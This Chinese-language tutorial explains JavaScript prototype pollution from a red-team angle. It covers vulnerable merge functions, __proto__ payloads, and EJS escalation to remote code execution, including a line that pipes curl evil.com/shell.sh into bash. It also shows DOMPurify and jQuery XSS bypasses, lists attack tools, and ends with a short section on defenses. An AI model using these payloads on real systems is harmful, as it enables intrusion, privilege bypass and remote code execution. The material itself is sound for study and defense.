目录


一、JavaScript原型链基础

原型链机制

obj → obj.__proto__ (Object.prototype) → null
arr → arr.__proto__ (Array.prototype) → Object.prototype → null
fn  → fn.__proto__ (Function.prototype) → Object.prototype → null
// 每个对象都有 __proto__
const obj = { a: 1 };
console.log(obj.__proto__ === Object.prototype);  // true
 
// 构造函数有 prototype
function Person(name) { this.name = name; }
Person.prototype.sayHi = function() { return 'Hi'; };
 
const p = new Person('Alice');
p.sayHi();  // 从 Person.prototype 继承

关键原型关系

// 万物的根源
Object.prototype                      // 所有对象的最终原型
 
// 通过构造函数获取原型
({}).constructor.prototype            // Object.prototype
[].constructor.prototype              // Array.prototype
"".constructor.prototype              // String.prototype
 
// Function.prototype 本身也是对象
(function(){}).constructor            // Function
Function.prototype.__proto__          // Object.prototype

二、原型链污染原理

核心概念

原型链污染(Prototype Pollution)是指攻击者能够修改 Object.prototype 或其他原型上的属性,从而影响所有继承自该原型的对象。

// 攻击:污染 Object.prototype
Object.prototype.isAdmin = true;
 
// 影响:所有对象现在都"继承"了 isAdmin = true
const user = {};
if (user.isAdmin) {   // true!权限检查被绕过
  grantAdminAccess();
}

污染条件

  1. 对象合并操作(merge/clone)中存在递归属性设置
  2. 属性路径可控(如 obj[a][b] = value 中 a 或 b 可控)
  3. 能够设置 __proto__constructor.prototype

最简PoC

// 危险的对象merge函数
function merge(target, source) {
  for (let key in source) {
    if (typeof source[key] === 'object') {
      if (!target[key]) target[key] = {};
      merge(target[key], source[key]);
    } else {
      target[key] = source[key];  // ← 直接赋值,不管key是什么!
    }
  }
}
 
// 攻击payload
const malicious = JSON.parse('{"__proto__":{"isAdmin":true}}');
merge({}, malicious);
 
// 效果
const obj = {};
console.log(obj.isAdmin);  // true —— 污染成功!

三、常见污染入口

1. 对象的深层属性设置

// lodash.set-like函数
function set(obj, path, value) {
  const keys = path.split('.');
  let current = obj;
  for (let i = 0; i < keys.length - 1; i++) {
    current = current[keys[i]] || (current[keys[i]] = {});
  }
  current[keys[keys.length - 1]] = value;
}
 
// payload
set(target, '__proto__.polluted', true);
// 或
set(target, 'constructor.prototype.polluted', true);

2. JSON.parse + merge

// 最常见的污染入口:用户JSON配置合并
const userConfig = JSON.parse(req.body.config);
Object.assign(defaultConfig, userConfig);  // 浅合并不安全
deepMerge(defaultConfig, userConfig);      // 深合并可能污染

3. URL解析

// URL query参数合并到对象
// heroku?__proto__[isAdmin]=true
const url = new URL(request.url);
const params = {};
url.searchParams.forEach((value, key) => {
  params[key] = value;
});
// params.__proto__ → 可能是污染入口

4. 模板引擎

// Handlebars, EJS等模板引擎在渲染时操作对象
// 如果数据包含 __proto__,可能污染
res.render('template', { 
  user: req.body  // req.body 可能含 __proto__
});

四、污染 → RCE 升级链

升级链1:child_process RCE

// Node.js 中:污染后可能触发命令执行
Object.prototype.shell = '/bin/sh';
Object.prototype.env = {};  // 清空环境变量
// 如果代码中有:
// const { exec } = require('child_process');
// exec('ls', options);  // options继承被污染的shell/env

升级链2:ejs模板引擎 RCE

// EJS < 3.1.7 有已知的污染到RCE升级链
Object.prototype.client = true;
Object.prototype.escapeFunction = 'function() { return process.mainModule.require("child_process").execSync("id"); }';
// EJS渲染模板时读取这些属性 → RCE

升级链3:动态require

// 通过污染 process.mainModule 或 require 的路径
Object.prototype.main = '/tmp/evil.js';
// 如果代码做:
// require(process.mainModule) → 可能加载恶意模块

通用污染检测方法

// 在JS Console中检测
({}).__proto__.pollutedTest = 'YES_IT_WORKS';
// 任何地方 console.log({}.pollutedTest)
// 如果输出 YES_IT_WORKS → 污染生效

五、客户端原型链污染

浏览器中的影响

// 污染后影响所有页面JS逻辑
Object.prototype.allowAccess = true;
 
// 污染fetch
Object.prototype.method = 'GET';  // 所有fetch对象的默认method被改
 
// 污染数组
Array.prototype[0] = 'INJECTED';
const arr = [];
console.log(arr[0]);  // 'INJECTED' !

DOMPurify绕过案例

历史上,DOMPurify被原型链污染绕过多次:

// 污染DOMPurify使用的内部常量
Object.prototype.ALLOWED_TAGS = ['script'];  // 如果DOMPurify读取这个
Object.prototype.ALLOWED_ATTR = ['onerror'];
 
// DOMPurify现在"允许"script标签和onerror属性

利用客户端污染实现XSS

// 场景:页面有原型污染漏洞 + jQuery
Object.prototype.innerHTML = '<img src=x onerror=alert(1)>';
 
// jQuery的 .html() 或 .append() 可能继承被污染的innerHTML
// → DOM XSS

六、Node.js服务端污染

常见Node.js污染目标

// 1. 环境变量
Object.prototype.NODE_ENV = 'development';  // 可能开启调试模式
 
// 2. 中间件配置
Object.prototype.ignore = true;  // 绕过认证中间件
 
// 3. 数据库查询
Object.prototype.$where = '1==1';  // MongoDB注入
Object.prototype.isAdmin = true;   // 权限检查绕过
 
// 4. 文件操作
Object.prototype.path = '/etc/passwd';  // 任意文件读取

Node.js完整攻击链示例

// 1. 发现merge污染
// POST /api/user/profile
// {"settings": {"__proto__": {"isAdmin": true}}}
 
// 2. 确认污染
// GET /api/user/permissions
// 返回:{"role": "admin"}  ← 因为 isAdmin:true 被继承
 
// 3. 寻找升级路径
// 如果应用使用了EJS渲染
Object.prototype.outputFunctionName = 
  "_tmp1;global.process.mainModule.require('child_process').exec('curl evil.com/shell.sh|bash');_tmp2";
// 4. EJS渲染任意页面 → RCE

七、检测与利用工具

手动检测

// 方法1:在Console注入测试payload
const testPayload = JSON.parse('{"__proto__":{"pptest":"VULN"}}');
// 等待一段逻辑处理用户输入...
console.log({}.pptest);  // 如果输出 VULN → 存在污染
 
// 方法2:监控Object.prototype的变更
const originalProto = Object.getOwnPropertyNames(Object.prototype);
// ... 操作后再次对比
const newProto = Object.getOwnPropertyNames(Object.prototype);
console.log(newProto.filter(p => !originalProto.includes(p)));

自动化工具

工具说明
pp-finder自动检测原型链污染的Burp插件
ppmapNode.js原型污染扫描器
BlackFan’s Prototype PollutionPOC集合 + 检测脚本
Burp Collaborator检测污染导致的服务端外连

BlackFan的污染POC汇总

https://github.com/BlackFan/client-side-prototype-pollution
覆盖了 jQuery, lodash, handlebars 等常见库的污染利用链

八、红队视角总结

攻击面速查

目标库/框架污染入口影响
lodash.merge < 4.6.2__proto__ 在merge任意属性污染
jQuery < 3.5.0$.extend(true)DOM XSS
Handlebars模板数据AST注入
EJS渲染选项RCE
Express.jsreq.body合并中间件绕过
Mongoose/MongoDB查询对象污染权限绕过
DOMPurify配置污染XSS绕过

防御

// 1. 使用Object.create(null)避免原型污染
const safe = Object.create(null);
 
// 2. 使用Map代替普通对象
const safe = new Map();
 
// 3. 冻结Object.prototype
Object.freeze(Object.prototype);
 
// 4. 过滤__proto__
function sanitize(obj) {
  if (obj.__proto__) delete obj.__proto__;
  return obj;
}
 
// 5. 使用安全的深拷贝(lodash.cloneDeep做了处理)
const _ = require('lodash');
const safe = _.cloneDeep(userInput);  // 不触发污染

返回 JavaScript 总目录 | 前端基础总目录